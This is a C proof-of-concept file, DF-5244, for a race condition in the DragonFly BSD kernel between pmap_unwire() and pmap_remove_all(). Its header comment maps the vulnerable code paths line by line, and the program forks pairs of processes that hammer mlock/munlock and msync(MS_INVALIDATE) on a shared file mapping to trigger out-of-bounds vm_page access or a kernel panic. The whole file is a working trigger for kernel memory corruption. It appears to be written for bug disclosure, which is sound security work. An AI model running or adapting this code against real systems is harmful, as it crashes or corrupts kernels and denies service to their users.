DF-5244 / df5244.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | /* * DF-5244 proof-of-concept * * Race: pmap_unwire() (sys/platform/pc64/x86_64/pmap.c:5605-5639, user branch) * vs pmap_remove_all() (pmap.c:4777-4887) reached cross-process from * msync(MS_INVALIDATE) on a shared MAP_SHARED vnode object: * * sys_msync -> vm_map_madvise(MADV_INVAL) -> vm_object_page_remove() * (vm_map.c:3164) -> wired-page branch (vm_object.c:1543) * -> vm_page_protect(p, VM_PROT_NONE) -> pmap_remove_all(m) * -> pmap_inval_smp_cmpset(ipmap, iva, iptep, ipte, 0) (pmap.c:4816) * -> pmap_removed_pte -> vm_page_unwire(m, -1) (pmap.c:439) * * Process A: mlock()/munlock() on its MAP_SHARED mapping. * munlock -> vm_map_unwire (A's map lock) -> vm_fault_unwire -> pmap_unwire: * test PG_W in *ptep (pmap.c:5627) * atomic_clear_long(ptep, W) (pmap.c:5630) * pa = *ptep & PG_FRAME (pmap.c:5632) <-- re-read, racy * return m; caller: vm_page_busy_wait(m) + vm_page_unwire(m,1) * (vm_fault.c:2691-2695) * * Process B: msync(MS_INVALIDATE) on its own mapping of the SAME file. * B holds only its own vm_map lock (read) + the object token; A's map * lock and pt_pv do not exclude B's cmpset on the shared PTE. * * If B's cmpset lands between A's PG_W test/clear and A's frame re-read: * - A computes m = PHYS_TO_VM_PAGE(0) = &vm_page_array[atop(0)-first_page] * (index -1 when first_page > 0) -> out-of-bounds vm_page_t passed to * vm_page_busy_wait()/vm_page_unwire() -> corruption / panic; * - or both sides unwire the single wire -> panic("vm_page_unwire: * invalid wire count"). * * NOTE: on DragonFly mlock() is gated by SYSCAP_RESTRICTEDROOT * (vm_mmap.c:1030), so run as root. * * usage: df5244 [npairs] */ #include <sys/types.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/wait.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #define FILESIZE (1024 * 1024) /* 256 pages */ #define RUNTIME 600 /* seconds per pair */ #define atomic_add_ulong(p, v) __sync_fetch_and_add(p, v) static char *base; static volatile int stop; static char share_path[128]; static void a_proc(int fd) { struct rlimit rl; unsigned long ok = 0, fail = 0; time_t t0; base = mmap(NULL, FILESIZE, PROT_READ, MAP_SHARED, fd, 0); if (base == MAP_FAILED) err(1, "mmap A"); getrlimit(RLIMIT_MEMLOCK, &rl); if (rl.rlim_cur < FILESIZE) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_MEMLOCK, &rl); } t0 = time(NULL); while (time(NULL) - t0 < RUNTIME && !stop) { if (mlock(base, FILESIZE) == 0) { munlock(base, FILESIZE); atomic_add_ulong(&ok, 1); } else { atomic_add_ulong(&fail, 1); usleep(100); } } stop = 1; fprintf(stderr, "df5244 A[%d]: done ok=%lu fail=%lu\n", (int)getpid(), ok, fail); _exit(0); } static void b_proc(int fd) { unsigned long ok = 0; time_t t0; base = mmap(NULL, FILESIZE, PROT_READ, MAP_SHARED, fd, 0); if (base == MAP_FAILED) err(1, "mmap B"); t0 = time(NULL); while (time(NULL) - t0 < RUNTIME && !stop) { msync(base, FILESIZE, MS_INVALIDATE); atomic_add_ulong(&ok, 1); usleep(200); } stop = 1; fprintf(stderr, "df5244 B[%d]: done ok=%lu\n", (int)getpid(), ok); _exit(0); } int main(int argc, char **argv) { int npairs = 4; int i, fd, st; if (argc > 1) npairs = atoi(argv[1]); snprintf(share_path, sizeof(share_path), "/var/df5244_share_%d", (int)getpid()); fd = open(share_path, O_RDWR | O_CREAT | O_TRUNC, 0600); if (fd < 0) err(1, "open(%s)", share_path); unlink(share_path); if (ftruncate(fd, FILESIZE) < 0) err(1, "ftruncate setup"); fprintf(stderr, "df5244: spawning %d A/B pairs (file %s)\n", npairs, share_path); for (i = 0; i < npairs; i++) { if (fork() == 0) a_proc(fd); if (fork() == 0) b_proc(fd); } for (i = 0; i < npairs * 2; i++) wait(&st); fprintf(stderr, "df5244: all children done\n"); return 2; } |